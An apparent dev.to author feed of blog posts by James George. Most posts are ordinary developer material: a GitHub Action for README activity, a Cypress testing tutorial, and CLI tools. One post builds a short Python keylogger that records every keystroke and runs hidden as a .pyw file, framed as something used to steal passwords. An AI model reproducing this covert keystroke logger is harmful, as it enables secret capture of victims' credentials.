Forem: James George

Here's a GitHub Action that updates README with the recent activity of a user

James George — Sat, 18 Jul 2020 16:34:13 +0000

Recently I came across activity-box that would update a Gist with the recent activity of a user. And with the Profile README feature, I thought why not making something similar that would update the README instead.

jamesgeorge007 / github-activity-readme

Updates README with the recent GitHub activity of a user

GitHub Activity in Readme

Updates README.md with the recent GitHub activity of a user.

Instructions

Add the comment  (entry point) within README.md. You can find an example here.
It's the time to create a workflow file.

.github/workflows/update-readme.yml

name: Update README
on
  schedule
    - cron: '*/30 * * * *'
  workflow_dispatch:

jobs:
  build:
    runs-on: ubuntu-latest
    name: Update this repo's README with recent activity

    steps:
      - uses: actions/checkout@v2
      - uses: jamesgeorge007/github-activity-readme@master
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

The above job runs every half an hour, you can change it as you wish based on the cron syntax.

Please note that only those public events that belong to the following list show up:-

IssueEvent
IssueCommentEvent
PullRequestEvent

You can find an example here.

Custom commit message

Specify a custom commit message with the COMMIT_MSG…

View on GitHub

Let's write e2e tests for a React application with Cypress

James George — Tue, 05 May 2020 12:25:17 +0000

End to end testing is one of the testing methodologies which is supposed to check whether if an application works as expected or not, by testing the so called user flow.

Well let's write couple of e2e tests for one of the React applications that I've made: csstox, a simple utility with which you can convert CSS snippets to React Native/JSS stylesheet objects with ease. Please read through the behind story here.

Getting started

As evident from the title we would be making use of Cypress as the testing framework. First up we need to have cypress installed as a devDependency.

yarn add -D cypress

The following command creates couple of files and directories as needed by Cypress.

./node_modules/.bin/cypress open

Alternatively use the shortcut npm bin

$(npm bin)/cypress open

After couple of tweaks the directory structure for the test setup looks like the one below:

tests
└── e2e
    ├── integration
    │   ├── basic.spec.js
    │   └── behavior.spec.js
    └── screenshots

Next up we need to configure Cypress based on the changes made, and we've got cypress.json file for this purpose.

Let's make Cypress aware that it has to search for the intended files within tests/e2e/integration directory:

"integrationFolder": "tests/e2e/integration",

A final version would look like the one below:

// cypress.json
{
  "baseUrl": "http://localhost:3000",
  "integrationFolder": "tests/e2e/integration",
  "screenshotsFolder": "tests/e2e/screenshots",
  "supportFile": false,
  "pluginsFile": false,
  "video": false
}

Also, Cypress would require our application to be up and running prior to start executing the tests. Let's install a utility that would do this for us.

yarn add -D start-server-and-test

Let's go ahead and add the following scripts to package.json

"cy:run": "cypress open",
"test:e2e": "start-server-and-test :3000 cy:run"

With that we can launch the test setup with yarn run test:e2e.

start-server-and-test by default looks for a start script, luckily this is the case for us. Or else we're required to provide the associated script name as the very first argument followed by the local server URL and test script. And we're all set to start writing tests for our app.

As you might have noticed from the directory structure above, there are two test suites:

Basic Workflow - This one's kinda like smoke-tests, it ensures that things are ready to carry out further test cases.
Behavior - It includes test cases that ensures the end to end behavior of the application.

Basic workflow

First up we need to ensure if our app is up and running.

  it("renders without crashing", () => {
    cy.visit("/");
  });

We've a select box as part of the UI which defaults to the value - 'React Native'. Cypress provides various commands to interact with the DOM as a real user would do. Here, we need a utility that would pick up the select box and makes sure that it defaults to the value, 'React Native'.

it("expects to find the select box defaulting to React Native", () => {
    cy.visit("/")
      .get("[data-testid=selectbox]")
      .should("have.value", "React Native");
  });

As you might have noticed an attribute (data-testid) selector is used instead of a class selector, you might be wondering why. There're couple of best practices listed in the Cypress docs website and you can find selecting elements to be one among them. CSS classes are subjected to change anytime causing the test case to fail which would not be the case with data attributes. As expected we've refactored the respective component to have a data-testid attribute.

Cypress comes up with a handful of assertions to choose from which are made available from assertion libraries such as chai, sinon etc. One can create an assertion with should(), and now we've have a better picture.

Behavior

Hurray, we've just finished writing test cases for the first test suite. And now we're off to write tests that describe the behavior of the app in detail.

We've two textarea elements which serves different purpose. The one on the left is supposed to allow the user paste a CSS snippet while the other one should be displaying the React Native/JSS equivalent of the same. This calls for the need to type some input CSS snippet to the respective textarea element. Luckily we've a type() command as provided by Cypress for the purpose.

  it("is possible to enter text to the `textarea` intended to receive input CSS snippet", () => {
    const cssSnippet = "padding: 10px;";
    cy.visit("/")
      .get("[data-testid=input]")
      .type(cssSnippet)
      .should("have.value", cssSnippet);
  });

As said before both the textarea elements perform different roles. The one on the right is supposed to display the React Native/JSS equivalent which should be made not editable by the user. How're we gonna write a test case for this scenario? Well, it's pretty simple. Just make sure that the respective textarea element has got a readonly property.

  it("expects to find readonly attribute associated with the textarea intended to display the result", () => {
    cy.visit("/").get("[data-testid=output]").should("have.attr", "readonly");
  });

And now we need to write a test case to ensure if the application serves it's purpose, i,e if an input CSS snippet is being converted to the respective equivalent.

  it("converts an input CSS snippet to the React Native equivalent", () => {
    const inputCSSRule = "transform: translate(10px, 5px) scale(5);";
    const result = {
      transform: [{ scale: 5 }, { translateY: 5 }, { translateX: 10 }],
    };
    cy.visit("/")
      .get("[data-testid=input]")
      .type(inputCSSRule)
      .get("[data-testid=output]")
      .should("have.value", JSON.stringify(result, null, 2));
  });

Here comes the JSS counterpart presenting before us a new challenge. The select box defaults to the value - 'React Native', we're required to change the value to JSS and Cypress comes to the rescue with select().

  it("converts an input CSS snippet to the JSS equivalent", () => {
    const inputCSSRule = "margin: 5px 7px 2px;";
    const result = {
      margin: "5px 7px 2px",
    };
    cy.visit("/")
      .get("[data-testid=selectbox]")
      .select("JSS")
      .get("[data-testid=input]")
      .type(inputCSSRule)
      .get("[data-testid=output]")
      .should("have.value", JSON.stringify(result, null, 2));
  });

We've validations in place to ensure submitting an invalid CSS rule results in an appropriate warning being displayed in the output textarea element. Well, let's write a test case for it.

  it("shows an error message for invalid CSS snippet", () => {
    const inputCSSRule = "margin: 5";
    const result = `Error translating CSS`;
    cy.visit("/")
      .get("[data-testid=input")
      .type(inputCSSRule)
      .get("[data-testid=output]")
      .should((el) => {
        expect(el).to.contain(result);
      });
  });

If the input textarea element is left blank we've a placeholder in place and the equivalent version is displayed on the output textarea element.

  it("generates the React Native equivalent of default CSS rule available as placeholder", () => {
    const result = {
      fontSize: 18,
      lineHeight: 24,
      color: "red",
    };
    cy.visit("/")
      .get("[data-testid=output]")
      .should((el) => {
        expect(el).to.contain.text(JSON.stringify(result, null, 2));
      });
  });

And the JSS counterpart.

  it("generates the JSS equivalent of default CSS rule available as placeholder", () => {
    const result = {
      fontSize: "18px",
      lineHeight: "24px",
      color: "red",
    };
    cy.visit("/")
      .get("[data-testid=selectbox]")
      .select("JSS")
      .get("[data-testid=output]")
      .should((el) => {
        expect(el).to.contain.text(JSON.stringify(result, null, 2));
      });
  });

And that's pretty much it. We have gone through only a few things that Cypress offers, please get to know more from the official docs. Thanks for reading through.

If you wish to catch up with my work, follow me on twitter.

csstox - Convert CSS snippets to React Native / JSS stylesheet objects with ease

James George — Sat, 22 Feb 2020 02:35:13 +0000

Hey there guys, so as usual I was browsing through various repositories on GitHub hoping to stumble upon something interesting and suddenly this one caught my eye: css-to-react-native.

I was surprised to know that it was a library as opposed to my assumption of it being a CLI utility. Developers are required to consume the API programmatically. And the thought of building a CLI solution struck my mind, out of which I opened an issue.

Later I came to the conclusion that a web solution would make much sense which resulted in csstox.

Please see the source code here.

What is your go to solution for global state management in React?

James George — Sat, 14 Sep 2019 13:05:28 +0000

Was just curious to know which utility you guys depend on in-order to manage state globally within your React app. Whether it would be Redux, Mobx, Context API or other third party choices, leave down your thoughts below :)

Let's build a simple key-logger in python

James George — Sat, 14 Sep 2019 09:47:45 +0000

As you guys all know python is a pretty powerful language which can be utilized for any purpose. And so in this article I would like to make you an even big fan of python by building a simple keylogger with just a few lines of code.

So lets get started. First of all in case you are not aware key-logger is a a computer program that records every keystroke made by a computer user, especially in order to gain fraudulent access to passwords and other confidential information. With that being said lets proceed. We will be using a python library known as pynput which helps us to achieve what is intended. Just install it with the pip package manager i,e pip install pynput which does the job for you. Alright done with the installation.

Create a file named keylogger.pyw (name it anything as you like but don’t forget about the pyw extension), fire up your favourite text editor and we are ready to write our key-logger.

from pynput.keyboard import Key, Listener
import logging
log_directory = “”
logging.basicConfig(filename = (log_director“log_results.txt”),level = logging.DEBUG, format = ‘%(asctime)s : %(message)s’)
def keypress(Key):
    logging.info(str(Key))
with Listener(on_press = keypress) as listener:
     listener.join()

Refer the GitHub-Gist

This is the whole code. Now I’ll explain what each line does. The first line is all about importing the required packages in our case pynput and logging for the purpose of logging each key when pressed. Then we should provide a logging directory which is set to empty in this case so that it resides in the same directory as the script lies. Next line deals up with the logging configurations in which the code is self explanatory. The basicConfig() function takes in three parameters where the filename can be provided. After which we have the key press listener method which does nothing other than logging the respective key that has been pressed. At last we have the listener part for each keystroke.

Hope you have noticed that we saved the source file with a .pyw extension other than the normal .py extension. The reason is because a key-logger is intended to serve its purpose in the background, pyw runs the code without creating a console window. Just run the code, press some keys randomly and notice all those keys being logged on to the file as specified. Interesting isn’t it? We made a key-logger within just 15 lines of code in python. To kill the process fire up task manager and kill the python process. There you go :)

Mevn-CLI, Light Speed setup for MEVN stack based apps

James George — Fri, 13 Sep 2019 11:55:12 +0000

I'm pretty sure all of you guys would have gone through the pain of setting up your local environment just while getting started. The transition from Vanilla JavaScript to the modern day frameworks is a bit difficult for sure. This was the thought that led us to create Mevn-CLI

As from the docs, it is basically a CLI tool for getting started with the MEVN stack. It offers a super simple boilerplate template and additional utilities for building a MEVN stack based webapp. It takes away the hassle of setting up the local development environment which may become a nightmare especially for beginners who are just starting out.

Quicklinks

We would love to hear out from the community. Take it for a spin and leave your thoughts down in the comments section. Also, contributions of any kind are warm welcome. Feel free to reach out :)

A CLIfied portfolio experience powered by React

James George — Thu, 12 Sep 2019 10:03:53 +0000

It was just another day after being from college and as usual I was messing around with GitHub until this one caught my eye, The Sindresorhus CLI. I was struck by the idea of having a CLIfied portfolio experience which made me to act immediately carving out mine:-

npx jamesgeorge-cli

I've used ink which allows us to build CLI's on top of React. The key difference you have to remember is that the rendering result isn't a DOM, but a string, which Ink writes to the output.

Be sure to check out the GitHub repo

I was thinking of writing yet another blog post in the form of a step by step tutorial on how you can build up yours. Leave down your thoughts down in the comments section 👍